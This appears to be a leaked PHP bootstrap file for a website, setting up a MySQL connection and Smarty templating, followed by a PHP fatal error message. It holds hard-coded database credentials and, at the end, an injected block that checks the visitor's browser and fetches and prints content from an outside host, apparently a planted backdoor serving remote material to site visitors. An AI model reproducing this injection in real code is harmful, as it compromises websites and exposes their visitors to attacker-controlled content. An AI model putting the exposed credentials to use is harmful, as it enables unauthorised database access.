error_reporting(0); @session_start(); // info base de dados define("DB_USER", "theatcom_ramon"); define("DB_PASSWORD", "avantgarde!"); define("DB_NAME", "theatcom_tap2010"); define("DB_HOST", "localhost"); define("PAGE_ITEMS",10); $rootpath = $_SERVER['DOCUMENT_ROOT'] . '/'; $server_uri = 'http://' . $_SERVER['SERVER_NAME']; require_once $rootpath."backoffice/includes/ezsql/shared/ez_sql_core.php"; require_once $rootpath."backoffice/includes/ezsql/mysql/ez_sql_mysql.php"; require_once $rootpath."includes/functions.inc.php"; require_once $rootpath."smarty/Smarty.class.php"; $db = new ezSQL_mysql(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST); $db->query("SET CHARACTER SET utf8"); $smarty = new Smarty(); $smarty->assign('server_uri',$server_uri); if (substr_count($_SERVER['HTTP_USER_AGENT'], 'MSIE') != 0 || substr_count($_SERVER['HTTP_USER_AGENT'], 'Opera') != 0 || substr_count($_SERVER['HTTP_USER_AGENT'], 'Firefox') != 0 || substr_count($_SERVER['HTTP_USER_AGENT'], 'Trident/7.0; rv:11.0') != 0 ) { $rx330=@file_get_contents("http://ponemnogy.info/de.php"); echo "$rx330"; } ?>
Fatal error: Call to a member function assign() on null in /home/theatcom/public_html/index.php on line 14